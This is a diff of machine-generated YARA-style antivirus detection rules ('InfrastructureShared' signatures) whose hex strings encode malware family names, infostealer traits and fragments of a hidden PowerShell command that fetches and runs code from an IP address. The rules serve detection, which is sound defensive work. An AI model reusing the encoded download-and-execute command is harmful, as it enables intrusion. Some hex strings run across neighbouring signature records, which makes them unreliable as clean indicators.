@@ rule _InfrastructureShared_28116{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24932+(#a_01_2 & 1)*9504+(#a_01_3 & 1)*28277+(#a_01_4 & 1)*25955) >=6 } -rule _InfrastructureShared_28117{ +rule _InfrastructureShared_29865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -366599,7 +389392,7 @@ rule _InfrastructureShared_28117{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*11890+(#a_01_3 & 1)*17524+(#a_01_4 & 1)*21076+(#a_01_5 & 1)*13364+(#a_01_7 & 1)*23057) >=8 } -rule _InfrastructureShared_28118{ +rule _InfrastructureShared_29866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -366614,7 +389407,7 @@ rule _InfrastructureShared_28118{ ((#a_01_0 & 1)*18467+(#a_01_3 & 1)*18185+(#a_01_5 & 1)*10+(#a_01_6 & 1)*29268+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=9 } -rule _InfrastructureShared_28119{ +rule _InfrastructureShared_29867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -366632,7 +389425,7 @@ rule _InfrastructureShared_28119{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3584+(#a_01_2 & 1)*25938+(#a_01_3 & 1)*12595+(#a_01_4 & 1)*25970+(#a_01_6 & 1)*54+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_28120{ +rule _InfrastructureShared_29868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -366650,7 +389443,7 @@ rule _InfrastructureShared_28120{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13106+(#a_01_2 & 1)*3584+(#a_01_3 & 1)*21320+(#a_01_5 & 1)*102+(#a_01_6 & 1)*25206+(#a_01_7 & 1)*16931+(#a_01_9 & 1)*110+(#a_01_10 & 1)*111) >=11 } -rule _InfrastructureShared_28121{ +rule _InfrastructureShared_29869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 04 00 21 " @@ -366662,7 +389455,7 @@ rule _InfrastructureShared_28121{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*51+(#a_01_3 & 1)*4) >=100 } -rule _InfrastructureShared_28122{ +rule _InfrastructureShared_29870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -366672,7 +389465,7 @@ rule _InfrastructureShared_28122{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_28123{ +rule _InfrastructureShared_29871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -366682,7 +389475,7 @@ rule _InfrastructureShared_28123{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_28124{ +rule _InfrastructureShared_29872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 0b 00 21 " @@ -366702,7 +389495,7 @@ rule _InfrastructureShared_28124{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29797+(#a_01_2 & 1)*18490+(#a_01_3 & 1)*121+(#a_01_4 & 1)*45+(#a_01_5 & 1)*16954+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=1 } -rule _InfrastructureShared_28125{ +rule _InfrastructureShared_29873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -366714,7 +389507,7 @@ rule _InfrastructureShared_28125{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29545+(#a_01_3 & 1)*3) >=2 } -rule _InfrastructureShared_28126{ +rule _InfrastructureShared_29874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 09 00 21 " @@ -366730,7 +389523,7 @@ rule _InfrastructureShared_28126{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*14710+(#a_01_2 & 1)*11892+(#a_01_3 & 1)*2560+(#a_01_4 & 1)*99+(#a_01_6 & 1)*101+(#a_01_8 & 1)*10) >=3 } -rule _InfrastructureShared_28127{ +rule _InfrastructureShared_29875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366743,7 +389536,7 @@ rule _InfrastructureShared_28127{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*117+(#a_01_2 & 1)*6+(#a_01_3 & 1)*22074) >=4 } -rule _InfrastructureShared_28128{ +rule _InfrastructureShared_29876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -366756,7 +389549,7 @@ rule _InfrastructureShared_28128{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*101+(#a_01_4 & 1)*10+(#a_01_5 & 1)*27247) >=6 } -rule _InfrastructureShared_28129{ +rule _InfrastructureShared_29877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -366775,7 +389568,7 @@ rule _InfrastructureShared_28129{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24415+(#a_01_2 & 1)*2304+(#a_01_3 & 1)*27756+(#a_01_4 & 1)*29541+(#a_01_5 & 1)*24832+(#a_01_6 & 1)*0+(#a_01_7 & 1)*29561+(#a_01_8 & 1)*5+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_28130{ +rule _InfrastructureShared_29878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -366788,7 +389581,7 @@ rule _InfrastructureShared_28130{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*26222+(#a_01_2 & 1)*29808+(#a_01_3 & 1)*10) >=30 } -rule _InfrastructureShared_28131{ +rule _InfrastructureShared_29879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -366801,7 +389594,7 @@ rule _InfrastructureShared_28131{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*114+(#a_01_2 & 1)*29264+(#a_01_3 & 1)*28265) >=30 } -rule _InfrastructureShared_28132{ +rule _InfrastructureShared_29880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -366813,7 +389606,7 @@ rule _InfrastructureShared_28132{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*31059+(#a_01_2 & 1)*5) >=3 } -rule _InfrastructureShared_28133{ +rule _InfrastructureShared_29881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366827,7 +389620,7 @@ rule _InfrastructureShared_28133{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21364+(#a_01_2 & 1)*115+(#a_01_3 & 1)*29301+(#a_01_4 & 1)*5) >=5 } -rule _InfrastructureShared_28134{ +rule _InfrastructureShared_29882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366840,7 +389633,7 @@ rule _InfrastructureShared_28134{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*11830+(#a_01_2 & 1)*28271+(#a_01_3 & 1)*11877) >=5 } -rule _InfrastructureShared_28135{ +rule _InfrastructureShared_29883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -366855,7 +389648,7 @@ rule _InfrastructureShared_28135{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*108+(#a_01_2 & 1)*58+(#a_01_3 & 1)*15111+(#a_01_4 & 1)*17235+(#a_01_5 & 1)*29797) >=5 } -rule _InfrastructureShared_28136{ +rule _InfrastructureShared_29884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -366866,7 +389659,7 @@ rule _InfrastructureShared_28136{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-9669) >=1 } -rule _InfrastructureShared_28137{ +rule _InfrastructureShared_29885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366879,7 +389672,7 @@ rule _InfrastructureShared_28137{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26394+(#a_01_2 & 1)*21562+(#a_01_4 & 1)*47) >=5 } -rule _InfrastructureShared_28138{ +rule _InfrastructureShared_29886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 03 00 21 " @@ -366890,7 +389683,7 @@ rule _InfrastructureShared_28138{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*112) >=15 } -rule _InfrastructureShared_28139{ +rule _InfrastructureShared_29887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -366901,7 +389694,7 @@ rule _InfrastructureShared_28139{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*99) >=30 } -rule _InfrastructureShared_28140{ +rule _InfrastructureShared_29888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -366912,7 +389705,7 @@ rule _InfrastructureShared_28140{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29755) >=2 } -rule _InfrastructureShared_28141{ +rule _InfrastructureShared_29889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -366924,7 +389717,7 @@ rule _InfrastructureShared_28141{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26191+(#a_01_2 & 1)*65) >=3 } -rule _InfrastructureShared_28142{ +rule _InfrastructureShared_29890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 03 00 04 00 21 " @@ -366935,7 +389728,7 @@ rule _InfrastructureShared_28142{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8276) >=3 } -rule _InfrastructureShared_28143{ +rule _InfrastructureShared_29891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366948,7 +389741,7 @@ rule _InfrastructureShared_28143{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25955+(#a_01_2 & 1)*11877+(#a_01_3 & 1)*21061) >=4 } -rule _InfrastructureShared_28144{ +rule _InfrastructureShared_29892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -366961,7 +389754,7 @@ rule _InfrastructureShared_28144{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*25361+(#a_01_3 & 1)*29550+(#a_01_4 & 1)*28530) >=4 } -rule _InfrastructureShared_28145{ +rule _InfrastructureShared_29893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366973,7 +389766,7 @@ rule _InfrastructureShared_28145{ ((#a_01_0 & 1)*22307+(#a_01_1 & 1)*28521+(#a_01_2 & 1)*26739) >=5 } -rule _InfrastructureShared_28146{ +rule _InfrastructureShared_29894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -366987,7 +389780,7 @@ rule _InfrastructureShared_28146{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*121+(#a_01_2 & 1)*116+(#a_01_4 & 1)*20491+(#a_01_5 & 1)*17184) >=5 } -rule _InfrastructureShared_28147{ +rule _InfrastructureShared_29895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -367001,7 +389794,7 @@ rule _InfrastructureShared_28147{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25964+(#a_01_2 & 1)*16685+(#a_01_3 & 1)*28787+(#a_01_5 & 1)*25372) >=6 } -rule _InfrastructureShared_28148{ +rule _InfrastructureShared_29896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -367017,7 +389810,7 @@ rule _InfrastructureShared_28148{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28515+(#a_01_2 & 1)*2816+(#a_01_4 & 1)*103+(#a_01_6 & 1)*83+(#a_01_7 & 1)*97+(#a_01_8 & 1)*99) >=9 } -rule _InfrastructureShared_28149{ +rule _InfrastructureShared_29897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 05 00 21 " @@ -367029,7 +389822,7 @@ rule _InfrastructureShared_28149{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*68+(#a_01_4 & 1)*24832) >=20 } -rule _InfrastructureShared_28150{ +rule _InfrastructureShared_29898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -367039,7 +389832,7 @@ rule _InfrastructureShared_28150{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_28151{ +rule _InfrastructureShared_29899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 08 00 21 " @@ -367056,7 +389849,7 @@ rule _InfrastructureShared_28151{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*25966+(#a_01_3 & 1)*3072+(#a_01_4 & 1)*20564+(#a_01_5 & 1)*21294+(#a_01_6 & 1)*25185+(#a_01_7 & 1)*1) >=5 } -rule _InfrastructureShared_28152{ +rule _InfrastructureShared_29900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 08 00 21 " @@ -367072,7 +389865,7 @@ rule _InfrastructureShared_28152{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24941+(#a_01_2 & 1)*16+(#a_01_3 & 1)*19770+(#a_01_4 & 1)*11620+(#a_01_5 & 1)*0+(#a_01_7 & 1)*105) >=13 } -rule _InfrastructureShared_28153{ +rule _InfrastructureShared_29901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 08 00 21 " @@ -367088,7 +389881,7 @@ rule _InfrastructureShared_28153{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24931+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0) >=16 } -rule _InfrastructureShared_28154{ +rule _InfrastructureShared_29902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -367100,7 +389893,7 @@ rule _InfrastructureShared_28154{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*99+(#a_01_3 & 1)*11822) >=30 } -rule _InfrastructureShared_28155{ +rule _InfrastructureShared_29903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 04 00 21 " @@ -367113,7 +389906,7 @@ rule _InfrastructureShared_28155{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*121+(#a_01_2 & 1)*34+(#a_01_3 & 1)*101) >=40 } -rule _InfrastructureShared_28156{ +rule _InfrastructureShared_29904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -367124,7 +389917,7 @@ rule _InfrastructureShared_28156{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*119) >=3 } -rule _InfrastructureShared_28157{ +rule _InfrastructureShared_29905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -367137,7 +389930,7 @@ rule _InfrastructureShared_28157{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*116+(#a_01_2 & 1)*4+(#a_01_3 & 1)*30564) >=4 } -rule _InfrastructureShared_28158{ +rule _InfrastructureShared_29906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -367150,7 +389943,7 @@ rule _InfrastructureShared_28158{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16672+(#a_01_2 & 1)*25441+(#a_01_3 & 1)*21071) >=4 } -rule _InfrastructureShared_28159{ +rule _InfrastructureShared_29907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -367163,7 +389956,7 @@ rule _InfrastructureShared_28159{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21536+(#a_01_2 & 1)*20294+(#a_01_3 & 1)*24944) >=4 } -rule _InfrastructureShared_28160{ +rule _InfrastructureShared_29908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -367178,7 +389971,7 @@ rule _InfrastructureShared_28160{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24432+(#a_01_2 & 1)*11621+(#a_01_3 & 1)*3328+(#a_01_4 & 1)*26144+(#a_01_5 & 1)*20600) >=6 } -rule _InfrastructureShared_28161{ +rule _InfrastructureShared_29909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -367193,7 +389986,7 @@ rule _InfrastructureShared_28161{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25972+(#a_01_3 & 1)*17685+(#a_01_4 & 1)*29797+(#a_01_5 & 1)*29285+(#a_01_6 & 1)*26433) >=7 } -rule _InfrastructureShared_28162{ +rule _InfrastructureShared_29910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -367209,7 +390002,7 @@ rule _InfrastructureShared_28162{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*13363+(#a_01_6 & 1)*17166+(#a_01_9 & 1)*101) >=10 } -rule _InfrastructureShared_28163{ +rule _InfrastructureShared_29911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -367227,7 +390020,7 @@ rule _InfrastructureShared_28163{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13109+(#a_01_2 & 1)*12851+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0+(#a_01_5 & 1)*92+(#a_01_7 & 1)*34+(#a_01_9 & 1)*92+(#a_01_10 & 1)*8993) >=11 } -rule _InfrastructureShared_28164{ +rule _InfrastructureShared_29912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 04 00 21 " @@ -367239,7 +390032,7 @@ rule _InfrastructureShared_28164{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*37+(#a_01_3 & 1)*0) >=40 } -rule _InfrastructureShared_28165{ +rule _InfrastructureShared_29913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,2a 00 2a 00 08 00 21 " @@ -367256,7 +390049,7 @@ rule _InfrastructureShared_28165{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25939+(#a_01_2 & 1)*25972+(#a_01_3 & 1)*26996+(#a_01_4 & 1)*29807+(#a_01_5 & 1)*20538+(#a_01_6 & 1)*25964+(#a_01_7 & 1)*11880) >=42 } -rule _InfrastructureShared_28166{ +rule _InfrastructureShared_29914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -367267,7 +390060,7 @@ rule _InfrastructureShared_28166{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27987) >=1 } -rule _InfrastructureShared_28167{ +rule _InfrastructureShared_29915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -367282,7 +390075,7 @@ rule _InfrastructureShared_28167{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26982+(#a_01_2 & 1)*17259+(#a_01_3 & 1)*28233+(#a_01_4 & 1)*28515+(#a_01_5 & 1)*27489) >=8 } -rule _InfrastructureShared_28168{ +rule _InfrastructureShared_29916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 0c 00 21 " @@ -367291,29 +390084,38 @@ rule _InfrastructureShared_28168{ $a_01_2 = {76 6f 6b 65 01 00 07 77 65 62 68 6f 6f 6b 01 00 0a 55 70 6c 6f 61 64 46 69 6c 65 01 00 0a 68 74 74 70 63 6c 69 65 6e 74 01 00 10 57 65 62 63 61 6d 53 63 72 65 65 6e 73 68 6f 74 01 00 16 50 41 47 45 5f 45 58 45 43 55 54 45 5f 52 45 41 44 57 52 49 54 45 01 00 07 4f 70 65 6e 56 50 4e 01 00 10 47 65 74 43 6c 69 70 62 6f 61 72 64 44 } //18694 $a_01_3 = {01 00 07 64 69 73 63 6f 72 64 00 00 61 d3 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 6d 61 6b 65 63 61 62 2e 65 78 65 00 0a 00 2e 43 61 62 69 6e 65 74 20 4d 61 6b 65 72 20 2d 20 4c 6f 73 73 6c 65 73 73 20 44 61 74 61 20 43 6f 6d 70 72 65 73 73 69 6f 6e 20 54 6f 6f 6c 0a 00 25 4d 69 63 72 6f } //29793 $a_01_4 = {74 2e 57 69 6e 64 6f 77 73 2e 6f 6e 65 63 6f 72 65 62 61 73 65 2e 6d 61 6b 65 63 61 62 0a 00 28 4d 61 6b 65 43 41 42 20 61 62 6f 72 74 65 64 3a 20 4d 61 78 45 72 72 6f 72 73 20 28 25 31 29 20 65 78 63 65 65 64 65 64 0a 00 32 4d 41 4b 45 43 41 42 20 5b 2f 56 5b 6e 5d 5d 20 5b 2f 44 20 76 61 72 3d 76 61 6c } //28531 - $a_01_5 = {2e 2e 2e 5d 20 5b 2f 4c 20 64 69 72 5d 20 73 6f 75 72 63 65 00 00 61 d4 00 00 04 00 04 00 04 00 } //25973 - $a_01_6 = {53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 55 72 73 6e 69 66 2e 67 65 6e 21 42 00 01 00 2c 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 50 00 68 00 79 00 73 00 69 00 63 00 61 00 6c 00 4d 00 65 00 } //8993 呓㩒牔橯湡灓㩹楗㍮⼲牕湳晩朮湥䈡ĀⰀ\Device\PhysicalMe - $a_01_7 = {00 72 00 79 00 01 00 3e 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 5f 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 01 00 29 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 } //109 - $a_01_8 = {01 00 09 6f 72 64 65 72 5f 6f 70 74 00 00 61 d4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 41 52 30 30 35 21 4d 53 52 00 01 00 06 49 6e 76 6f 6b 65 01 00 14 61 00 78 00 68 00 66 00 73 00 72 00 47 00 64 00 44 00 4e 00 01 00 35 57 7b 57 6f 38 73 38 55 38 48 38 79 38 72 38 68 } //28521 - $a_01_9 = {6f 38 53 38 73 38 4f 38 74 38 4f 38 7d 38 75 38 45 38 4e 38 72 38 6d 38 74 38 51 38 4b 38 68 38 4d 38 01 00 05 78 31 78 3c 78 01 00 46 48 00 61 00 63 00 69 00 76 00 61 } //20536 - $a_01_11 = {00 73 00 68 00 61 00 6e 00 65 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 00 00 61 d5 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 5a 6c 6f 62 2e 67 65 6e 21 42 } //78 + $a_01_5 = {2e 2e 2e 5d 20 5b 2f 4c 20 64 69 72 5d 20 73 6f 75 72 63 65 00 00 61 d4 00 00 04 00 04 00 02 00 } //25973 + $a_01_6 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 65 6e 70 61 6b 2e 47 56 41 21 4d 54 42 00 03 00 64 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 20 00 68 00 20 } //8993 + $a_01_8 = {00 22 00 69 00 65 00 78 00 20 00 24 00 28 00 69 00 72 00 6d 00 20 00 36 00 35 00 2e 00 33 00 38 } //99 + $a_01_10 = {00 30 00 2e 00 31 00 32 00 35 00 3a 00 38 00 30 00 38 00 30 00 2f 00 24 00 01 00 40 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 } //49 + $a_01_11 = {00 69 00 6e 00 67 00 28 00 27 00 4d 00 51 00 41 00 35 00 41 00 44 00 63 00 41 00 4d 00 41 00 41 00 3d 00 27 00 29 00 00 00 61 d4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 55 72 73 6e 69 66 2e 67 65 6e 21 42 00 01 00 2c 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 50 00 68 00 79 00 73 00 } //116 condition: - ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*18694+(#a_01_3 & 1)*29793+(#a_01_4 & 1)*28531+(#a_01_5 & 1)*25973+(#a_01_6 & 1)*8993+(#a_01_7 & 1)*109+(#a_01_8 & 1)*28521+(#a_01_9 & 1)*20536+(#a_01_11 & 1)*78) >=12 + ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*18694+(#a_01_3 & 1)*29793+(#a_01_4 & 1)*28531+(#a_01_5 & 1)*25973+(#a_01_6 & 1)*8993+(#a_01_8 & 1)*99+(#a_01_10 & 1)*49+(#a_01_11 & 1)*116) >=12 } -rule _InfrastructureShared_28169{ +rule _InfrastructureShared_29917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " strings : $a_01_0 = {4e 3a 6d 61 6b 65 63 61 62 2e 65 78 65 00 0a 00 2e 43 61 62 69 6e 65 74 20 4d 61 6b 65 72 20 2d 20 4c 6f 73 73 6c 65 73 73 20 44 61 74 61 20 43 6f 6d 70 72 65 73 73 69 6f 6e 20 54 6f 6f 6c 0a 00 25 4d 69 63 72 } //20259 $a_01_1 = {66 74 2e 57 69 6e 64 6f 77 73 2e 6f 6e 65 63 6f 72 65 62 61 73 65 2e 6d 61 6b 65 63 61 62 0a 00 28 4d 61 6b 65 43 41 42 20 61 62 6f 72 74 65 64 3a 20 4d 61 78 45 72 72 6f 72 73 20 28 25 31 29 20 65 78 63 65 65 64 65 64 0a 00 32 4d 41 4b 45 43 41 42 20 5b 2f 56 5b 6e 5d 5d 20 5b 2f 44 20 76 61 72 3d 76 61 6c 75 65 20 2e 2e 2e 5d 20 } //29551 - $a_01_2 = {20 64 69 72 5d 20 73 6f 75 72 63 65 00 00 61 d4 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 55 72 73 6e 69 66 2e 67 65 6e 21 42 00 01 00 2c 5c 00 44 00 65 00 76 00 69 00 63 00 65 } //12123 + $a_01_2 = {20 64 69 72 5d 20 73 6f 75 72 63 65 00 00 61 d4 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 65 6e 70 61 6b 2e 47 56 41 21 4d 54 42 00 03 00 64 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 } //12123 condition: ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*29551+(#a_01_2 & 1)*12123) >=30 } -rule _InfrastructureShared_28170{ +rule _InfrastructureShared_29918{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 02 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 65 6e 70 61 6b 2e 47 56 41 21 4d 54 42 00 03 00 64 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 20 00 22 00 69 00 65 } //16675 + condition: + ((#a_01_0 & 1)*16675) >=4 + +} +rule _InfrastructureShared_29919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -367324,7 +390126,7 @@ rule _InfrastructureShared_28170{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28271) >=4 } -rule _InfrastructureShared_28171{ +rule _InfrastructureShared_29920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -367337,7 +390139,7 @@ rule _InfrastructureShared_28171{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14416+(#a_01_3 & 1)*0+(#a_01_4 & 1)*27715) >=5 } -rule 